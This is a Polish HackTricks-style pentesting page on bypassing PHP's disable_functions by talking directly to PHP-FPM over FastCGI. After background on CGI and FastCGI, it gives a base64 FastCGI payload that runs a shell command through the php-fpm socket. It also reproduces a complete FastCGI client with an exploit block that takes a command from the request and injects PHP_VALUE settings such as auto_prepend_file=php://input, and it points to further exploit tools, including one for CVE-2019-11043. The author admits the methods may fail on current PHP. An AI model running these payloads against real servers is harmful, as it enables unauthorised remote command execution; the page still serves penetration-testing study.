disable_functions bypass - php-fpm/FastCGI

Wsparcie dla HackTricks

PHP-FPM

PHP-FPM jest przedstawiane jako lepsza alternatywa dla standardowego PHP FastCGI, oferując funkcje, które są szczególnie korzystne dla stron internetowych o dużym ruchu. Działa poprzez proces główny, który nadzoruje zbiór procesów roboczych. W przypadku żądania skryptu PHP, to serwer WWW inicjuje połączenie proxy FastCGI z usługą PHP-FPM. Usługa ta ma zdolność odbierania żądań zarówno przez porty sieciowe na serwerze, jak i przez gniazda Unix.

Pomimo pośredniczącej roli połączenia proxy, PHP-FPM musi działać na tej samej maszynie co serwer WWW. Połączenie, którego używa, chociaż oparte na proxy, różni się od konwencjonalnych połączeń proxy. Po odebraniu żądania, dostępny pracownik z PHP-FPM przetwarza je—wykonując skrypt PHP, a następnie przesyłając wyniki z powrotem do serwera WWW. Po zakończeniu przetwarzania żądania przez pracownika, staje się on ponownie dostępny dla nadchodzących żądań.

Ale co to jest CGI i FastCGI?

CGI

Normalnie strony internetowe, pliki i wszystkie dokumenty, które są przesyłane z serwera WWW do przeglądarki, są przechowywane w określonym publicznym katalogu, takim jak home/user/public_html. Gdy przeglądarka żąda określonej zawartości, serwer sprawdza ten katalog i wysyła wymagany plik do przeglądarki.

Jeśli CGI jest zainstalowane na serwerze, dodawany jest również określony katalog cgi-bin, na przykład home/user/public_html/cgi-bin. Skrypty CGI są przechowywane w tym katalogu. Każdy plik w katalogu jest traktowany jako program wykonywalny. Gdy uzyskuje się dostęp do skryptu z katalogu, serwer wysyła żądanie do aplikacji odpowiedzialnej za ten skrypt, zamiast wysyłać zawartość pliku do przeglądarki. Po zakończeniu przetwarzania danych wejściowych, aplikacja wysyła dane wyjściowe do serwera WWW, który przesyła dane do klienta HTTP.

Na przykład, gdy uzyskuje się dostęp do skryptu CGI http://mysitename.com/cgi-bin/file.pl, serwer uruchomi odpowiednią aplikację Perl przez CGI. Dane generowane z wykonania skryptu będą przesyłane przez aplikację do serwera WWW. Serwer z kolei przekaże dane do przeglądarki. Gdyby serwer nie miał CGI, przeglądarka wyświetliłaby kod pliku .pl. (wyjaśnienie z tutaj)

FastCGI

FastCGI to nowsza technologia internetowa, ulepszona wersja CGI, ponieważ główna funkcjonalność pozostaje ta sama.

Potrzeba opracowania FastCGI wynika z szybkiego rozwoju i złożoności aplikacji w Internecie, a także z potrzeby rozwiązania problemów ze skalowalnością technologii CGI. Aby sprostać tym wymaganiom, Open Market wprowadził FastCGI – wersję CGI o wysokiej wydajności z ulepszonymi możliwościami.

disable_functions bypass

Możliwe jest uruchomienie kodu PHP, wykorzystując FastCGI i omijając ograniczenia disable_functions.

Via Gopherus

Nie jestem pewien, czy to działa w nowoczesnych wersjach, ponieważ próbowałem raz i nic się nie wykonało. Proszę, jeśli masz więcej informacji na ten temat, skontaktuj się ze mną przez [grupę telegramową PEASS & HackTricks tutaj](https://t.me/peass), lub twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Używając Gopherus, możesz wygenerować ładunek do wysłania do nasłuchującego FastCGI i wykonać dowolne polecenia:

Następnie możesz złapać ładunek urlencoded, zdekodować go i przekształcić na base64, [używając tego przepisu z cyberchefa na przykład](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). A następnie skopiuj/wklej base64 w tym kodzie php:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

Uploading and accessing this script exploit zostanie wysłany do FastCGI (wyłączając disable_functions) i określone polecenia zostaną wykonane.

PHP exploit

Nie jestem pewien, czy to działa w nowoczesnych wersjach, ponieważ próbowałem raz i nie mogłem nic wykonać. Właściwie udało mi się zobaczyć, że phpinfo() z wykonania FastCGI wskazywało, że disable_functions było puste, ale PHP (jakoś) nadal uniemożliwiało mi wykonanie jakiejkolwiek wcześniej wyłączonej funkcji. Proszę, jeśli masz więcej informacji na ten temat, skontaktuj się ze mną przez [PEASS & HackTricks telegram group here](https://t.me/peass), lub twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Code from here.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Używając poprzedniej funkcji zobaczysz, że funkcja system jest wciąż wyłączona, ale phpinfo() pokazuje disable_functions pusty:

Więc myślę, że możesz ustawić disable_functions tylko za pomocą plików konfiguracyjnych php .ini, a PHP_VALUE nie nadpisze tej ustawienia.

To jest skrypt php do wykorzystania protokołu fastcgi w celu obejścia open_basedir i disable_functions. Pomoże ci to obejść surowe disable_functions do RCE, ładując złośliwe rozszerzenie. Możesz uzyskać do niego dostęp tutaj: https://github.com/w181496/FuckFastcgi lub nieco zmodyfikowana i ulepszona wersja tutaj: https://github.com/BorelEnzo/FuckFastcgi

Zauważysz, że exploit jest bardzo podobny do poprzedniego kodu, ale zamiast próbować obejść disable_functions używając PHP_VALUE, próbuje załadować zewnętrzny moduł PHP do wykonania kodu, używając parametrów extension_dir i extension wewnątrz zmiennej PHP_ADMIN_VALUE. UWAGA1: Prawdopodobnie będziesz musiał przecompilować rozszerzenie z tą samą wersją PHP, którą używa serwer (możesz to sprawdzić w wynikach phpinfo):

UWAGA2: Udało mi się to uruchomić, wstawiając wartości extension_dir i extension do pliku konfiguracyjnego PHP .ini (czego nie będziesz w stanie zrobić atakując serwer). Ale z jakiegoś powodu, używając tego exploita i ładując rozszerzenie z zmiennej PHP_ADMIN_VALUE, proces po prostu umarł, więc nie wiem, czy ta technika jest nadal ważna.

PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)

Możesz wykorzystać tę lukę za pomocą phuip-fpizdam i przetestować ją używając tego środowiska dockerowego: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043. Możesz również znaleźć analizę luki tutaj.

Wsparcie HackTricks

Last updated